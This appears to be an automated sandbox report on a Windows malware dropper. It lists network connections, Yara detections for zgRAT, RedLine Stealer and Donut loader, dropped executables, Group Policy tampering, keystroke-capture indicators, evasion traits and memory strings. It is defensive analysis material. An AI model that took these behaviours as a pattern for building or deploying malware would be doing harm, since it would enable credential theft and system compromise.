Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.105.90.131:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.59:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49957 version: TLS 1.2

Installs a raw input device (often for capturing keystrokes)

Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003119000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_f4536f8f-d

Drops certificate files (DER)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA3B9.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA398.tmp			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000015.00000002.3347838640.00000268C1470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000000F.00000002.3401298669.00000000034D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.3402282095.00000000033EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.3398179221.0000000002B47000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:

PE file has nameless sections

Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Creates files inside the system directory

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\Machine	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\User	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Detected potential crypto function

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D518C	0_3_041D518C
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D518C	0_3_041D518C
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0040C490	8_2_0040C490
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0040BFC0	8_2_0040BFC0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004FB84F	8_2_004FB84F
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0043C800	8_2_0043C800
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DB027	8_2_006DB027
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D900D	8_2_006D900D
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006E0005	8_2_006E0005
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00471830	8_2_00471830
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D8164	8_2_006D8164
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0044C160	8_2_0044C160
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DF900	8_2_006DF900
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D61EA	8_2_006D61EA
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004FD9FE	8_2_004FD9FE
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00487270	8_2_00487270
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00481A30	8_2_00481A30
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006E0AFC	8_2_006E0AFC
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DE367	8_2_006DE367
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E3B58	8_2_004E3B58
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0043FB60	8_2_0043FB60
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0047F360	8_2_0047F360
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9355	8_2_006D9355
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E03D0	8_2_004E03D0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0044EB90	8_2_0044EB90
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E5B90	8_2_004E5B90
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00483470	8_2_00483470
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D7C53	8_2_006D7C53
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00402400	8_2_00402400
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004F6CC5	8_2_004F6CC5
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00416490	8_2_00416490
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DECBF	8_2_006DECBF
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9D49	8_2_006D9D49
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9534	8_2_006D9534
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E959F	8_2_004E959F
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006E059D	8_2_006E059D
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00402600	8_2_00402600
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DFE38	8_2_006DFE38
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00472630	8_2_00472630
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004706C0	8_2_004706C0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D6EF0	8_2_006D6EF0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00418EE0	8_2_00418EE0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00483EF0	8_2_00483EF0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9708	8_2_006D9708
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00482FE0	8_2_00482FE0
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D23070	10_2_00D23070
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CFC1AC	10_2_00CFC1AC
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CF34F6	10_2_00CF34F6
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D214AB	10_2_00D214AB
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D20A09	10_2_00D20A09
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D21B87	10_2_00D21B87
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CF6D2E	10_2_00CF6D2E
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D20F5A	10_2_00D20F5A

Dropped file seen in connection with other malware

Source: Joe Sandbox View	Dropped File: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe D0B06CA6ECE3FEF6671FA8ACD3D560A9400891ABCD10F5CEDCFE7BD1E6050DFE
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Default15_big[1].exe 2FB2C4E22806517992BAA268035EAE8ADC10EBE45BDCF01B525E9F6FAFF7B767

Enables security privileges

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process token adjusted: Security

Found potential string decryption / allocating functions

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: String function: 00D1CEF2 appears 98 times
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: String function: 00CE50A0 appears 48 times

One or more processes crash

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724

PE / OLE file has an invalid certificate

Source: tZvjMg3Hw9.exe

Static PE information: invalid certificate

PE file contains executable resources (Code or Archives)

Source: 060[1].exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FXnrFSfIY3onUvtSB3cuKesF.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Resource name: AUUPG type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed

PE file does not import any functions

Source: TrIR3OjzF5zT6wur9yJ59R0V.exe.0.dr

Static PE information: No import functions for PE file found

Sample file is different than original file name gathered from version info

Source: tZvjMg3Hw9.exe, 00000000.00000003.2227165182.0000000004B77000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs tZvjMg3Hw9.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2227294404.0000000004990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs tZvjMg3Hw9.exe
Source: tZvjMg3Hw9.exe, 00000000.00000000.2080051195.0000000140270000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamexml_magik.exe8 vs tZvjMg3Hw9.exe
Source: tZvjMg3Hw9.exe	Binary or memory string: OriginalFilenamexml_magik.exe8 vs tZvjMg3Hw9.exe

Yara signature match

Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000015.00000002.3347838640.00000268C1470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000000F.00000002.3401298669.00000000034D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.3402282095.00000000033EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.3398179221.0000000002B47000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997519048380221
Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9934290213178295
Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.99267578125
Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.0006510416666667
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997519048380221
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9934290213178295
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.99267578125
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0006510416666667
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.0.dr	Static PE information: Section: .Right ZLIB complexity 0.9970880681818182
Source: 1sMfNqnOFjTOadWc0yClvu5P.exe.0.dr	Static PE information: Section: .Right ZLIB complexity 0.9980948240589198
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997554064239332
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 1.000469355620155
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9892578125
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9994283536585366
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5

Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: *.sln
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSBuild MyApp.csproj /t:Clean
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: /ignoreprojectextensions:.sln
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/142@52/26

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File created: C:\Users\user\Documents\SimpleAdobe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1988:120:WilError_03
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_11
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2724
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_15
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6496:64:WilError_03

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

File created: C:\Users\user\AppData\Local\Temp\adobegIeeYGMoUZdX

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File read: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
